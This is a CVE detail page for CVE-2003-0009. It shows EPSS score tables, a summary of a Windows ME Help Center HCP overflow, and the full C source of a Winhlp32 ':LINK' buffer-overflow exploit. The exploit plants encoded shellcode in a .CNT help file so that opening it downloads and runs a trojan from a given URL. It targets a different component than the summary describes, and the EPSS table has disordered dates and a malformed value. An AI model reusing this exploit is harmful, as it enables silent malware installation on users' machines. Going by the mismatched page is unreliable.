CVE-2003-0009 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	14.79%	–	–
2022-04-03	–	–	14.79%	–	–
2023-03-12	–	–	–	4.98%	–
2024-02-11	–	–	–	4.98%	–
2024-06-02	–	–	–	4.98%	–
2024-09-22	–	–	–	5.38%	–
2024-12-22	–	–	–	40.91%	–
2025-02-16	–	–	–	33.44%	–
2025-01-19	–	–	–	40.91%	–
2025-02-16	–	–	–	33.44%	–
2025-03-18	–	–	–	–	14.08%
2025-03-18	–	–	–	–	14.08,%

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Date	Percentile
2022-02-06	91%
2022-04-03	96%
2023-03-12	92%
2024-02-11	93%
2024-06-02	93%
2024-09-22	93%
2024-12-22	97%
2025-02-16	97%
2025-01-19	97%
2025-02-16	97%
2025-03-18	94%
2025-03-18	94%

// source: https://www.securityfocus.com/bid/6966/info The Microsoft Windows ME Help and Support Center is prone to a buffer overflow. This is due to insufficient bounds checking on input supplied through the HCP URI parameter. An attacker can exploit this vulnerability by making a HCP request with an overly long string. This will trigger the overflow condition and may result in malicious attacker-supplied code being executed on the vulnerable system. A similar vulnerability was reported in the Windows XP Help and Support Center (BID 6802). These vulnerabilities may be related. ** Conflicting details have been reported about this vulnerability. The discoverer claims that the issue is cross site scripting that allows script code emebedded into the HCP URL to be executed. The discoverer also claims that Windows XP without SP1 is also vulnerable to this issue, while Microsoft claims that it is not. /************************************************* * s0h - Skin Of Humanity. * http://s0h.cc * * Title : Win32hlp exploit for : ":LINK overflow" * Date : Sunday, 9 March, 2003 1:00 AM * * ----------------------------------------------- * * Archive : http://s0h.cc/exploit/s0h_Win32hlp.c * Binary : http://s0h.cc/exploit/s0h_Win32hlp.exe * * ----------------------------------------------- * Discovered by ThreaT <threat@s0h.cc>. * Coded by ThreaT <threat@s0h.cc> * Hompage : http://s0h.cc/~threat/ * * Winhlp32.exe exploit for ':LINK' overflow ! * * ----------------------------------------------- * * This exploit can trap a .CNT file (file with .- * HLP files) with the arbitrary code who can dow- * nload and execute a trojan without user ask. * * ----------------------------------------------- * * Compiling : cl /nologo s0h_Win32hlp.c * Usage : s0h_Win32hlp.exe <trojan> <CNT file> [offset] * Eq : C:\>s0h_Win32hlp.exe http://www.chez.com/mvm/trojan.exe c:\WINNT\Help\mplayer2.cnt 4 * * <trojan> = host to download the trojan (http:/- * /blah.plof/trojan.exe). * * <CNT file> = The CNT file. * * [offset] = Optionnal. This one defined a numbe- * r between 0 and 15 that can play with the retu- * rn address. Generaly, you must used 4 if the .- * HLP file is called by an application. * * ----------------------------------------------- * This exploit was tested on : * - Windows 2000 PRO/SERVER (fr) SP0 * - Windows 2000 PRO/SERVER (fr) SP1 * - Windows 2000 PRO/SERVER (fr) SP2 * ************************************************/ #include <windows.h> #define taille 270 #define VulnLen 650 int main (int argc, char *argv[]) { HANDLE ExploitFile; DWORD lpNumberOfBytesWritten, lpFileSizeHigh, FileSize; int i,j, len, RetByte=0xE5; char *file, *url; unsigned char *Shellcode, *buffer, RealGenericShellcode[] = "\x68\x5E\x56\xC3\x90\x8B\xCC\xFF\xD1\x83\xC6\x0E\x90\x8B\xFE\xAC" "\x34\x99\xAA\x84\xC0\x75\xF8" "\x72\xeb\xf3\xa9\xc2\xfd\x12\x9a\x12\xd9\x95\x12\xd1\x95\x12\x58\x12\xc5\xbd\x91" "\x12\xe9\xa9\x9a\xed\xbd\x9d\xa1\x87\xec\xd5\x12\xd9\x81\x12\xc1\xa5\x9a\x41\x12" "\xc2\xe1\x9a\x41\x12\xea\x85\x9a\x69\xcf\x12\xea\xbd\x9a\x69\xcf\x12\xca\xb9\x9a" "\x49\x12\xc2\x81\xd2\x12\xad\x03\x9a\x69\x9a\xed\xbd\x8d\x12\xaf\xa2\xed\xbd\x81" "\xed\x93\xd2\xba\x42\xec\x73\xc1\xc1\xaa\x59\x5a\xc6\xaa\x50\xff\x12\x95\xc6\xc6" "\x12\xa5\x16\x14\x9d\x9e\x5a\x12\x81\x12\x5a\xa2\x58\xec\x04\x5a\x72\xe5\xaa\x42" "\xf1\xe0\xdc\xe1\xd8\xf3\x93\xf3\xd2\xca\x71\xe2\x66\x66\x66\xaa\x50\xc8\xf1\xec" "\xeb\xf5\xf4\xff\x5e\xdd\xbd\x9d\xf6\xf7\x12\x75\xc8\xc8\xcc\x66\x49\xf1\xf0\xf5" "\xfc\xd8\xf3\x97\xf3\xeb\xf3\x9b\x71\xcc\x66\x66\x66\xaa\x42\xca\xf1\xf8\xb7\xfc" "\xe1\x5f\xdd\xbd\x9d\xfc\x12\x55\xca\xca\xc8\x66\xec\x81\xca\x66\x49\xaa\x42\xf1" "\xf0\xf7\xdc\xe1\xf3\x98\xf3\xd2\xca\x71\xb5\x66\x66\x66\x14\xd5\xbd\x89\xf3\x98" "\xc8\x66\x49\xaa\x42\xf1\xe1\xf0\xed\xc9\xf3\x98\xf3\xd2\xca\x71\x8b\x66\x66\x66" "\x66\x49\x71\xe6\x66\x66\x66"; printf (" * ***************************************************** *\n" " * s0h - Skin of humanity *\n" " * http://s0h.cc/ *\n" " * ***************************************************** *\n" " Win32hlp exploit for : \":LINK overflow\" *\n" " * ***************************************************** *\n" " * Discovered by ThreaT <threat@s0h.cc>. *\n" " * Coded by ThreaT <threat@s0h.cc> *\n" " * Hompage : http://s0h.cc/~threat/ *\n" " * Archive : http://s0h.cc/exploit/s0h_Win32hlp.c *\n" " * ***************************************************** *\n" ); if (argc < 3) { printf( " * ***************************************************** *\n" " * Usage : s0h_Win32hlp.exe <trojan> <CNT file> [offset] *\n" " * *\n" " * <trojan> = host to download the trojan (http:/- *\n" " * /blah.plof/trojan.exe). *\n" " * *\n" " * <CNT file> = The CNT file. *\n" " * *\n" " * [offset] = Optionnal. This one defined a number betw- *\n" " * een 0 and 15 that can play with the return address. - *\n" " * Generaly, you must used 4 if the .HLP file is called *\n" " * by an application. *\n" " * ***************************************************** *\n" ); ExitProcess (1); } if (argv[3]) RetByte = atoi (argv[3]) + 0xE0; len = taille + strlen (argv[1]) + 2 + 4; url = (char *) malloc (strlen (argv[1])); strcpy (url, argv[1]); /* * Create the final shellcode */ Shellcode = (unsigned char *) malloc (len); // encrypt the URL for (i=0;i<strlen (argv[1]); argv[1][i++]^=0x99); // inject the RealGenericShellcode in the shellcode buffer for (i=0;i<taille; Shellcode[i]=RealGenericShellcode[i++]); // append crypted URL to the shellcode buffer for (i,j=0;i<len - 1;Shellcode[i++]=argv[1][j++]); Shellcode[len-6]=0x99; // URL delimitation Shellcode[len-5]=0x2E; // fuck the winhlp32.exe parser // append the RET ADDR // Play with this bytes if the xploit don't work Shellcode[len-4]=0x30; Shellcode[len-3]=RetByte; Shellcode[len-2]=0x06; Shellcode[len-1]=0x00; /* Now, we make a vuln string for our exploit */ buffer = (unsigned char *) malloc (VulnLen); memset (buffer,0,VulnLen); lstrcpy (buffer,":Link "); for (i=6; i < VulnLen - len; buffer[i++] = (char)0x90); for (i,j=0; i < VulnLen; buffer[i++] = Shellcode[j++]); /* Trap the CNT file specified with the vuln string */ ExploitFile = CreateFile (argv[2],GENERIC_READ+GENERIC_WRITE, FILE_SHARE_READ+FILE_SHARE_WRITE,NULL, OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL); if ( ExploitFile == INVALID_HANDLE_VALUE) { printf ("Error : cannot open cnt file '%s'\n",argv[2]); ExitProcess (1); } FileSize = GetFileSize(ExploitFile, &lpFileSizeHigh); FileSize += lpFileSizeHigh*MAXDWORD; file = (char *)LocalAlloc (LPTR, FileSize + 2); file[0] = 0x0d; file[1] = 0x0a; file += 2; ReadFile(ExploitFile,file,FileSize,&lpNumberOfBytesWritten,NULL); SetFilePointer (ExploitFile,0,NULL,FILE_BEGIN); WriteFile (ExploitFile,buffer,VulnLen,&lpNumberOfBytesWritten,NULL); file -= 2; WriteFile (ExploitFile,file,FileSize+2,&lpNumberOfBytesWritten,NULL); CloseHandle(ExploitFile); printf ( " * *******************************************************\n" " * The file is now traped and ready to download and exe- *\n" " * cute : *\n" " * File : %s\n" " * At : %s\n" " * *******************************************************\n" ,argv[2],url); if (RetByte != 0xE5) printf ( " * *******************************************************\n" " * You have specified this address : 0x0006%x30 *\n" " * The abitrary will loaded since an application. *\n" " * *******************************************************\n" ,RetByte); return 0; }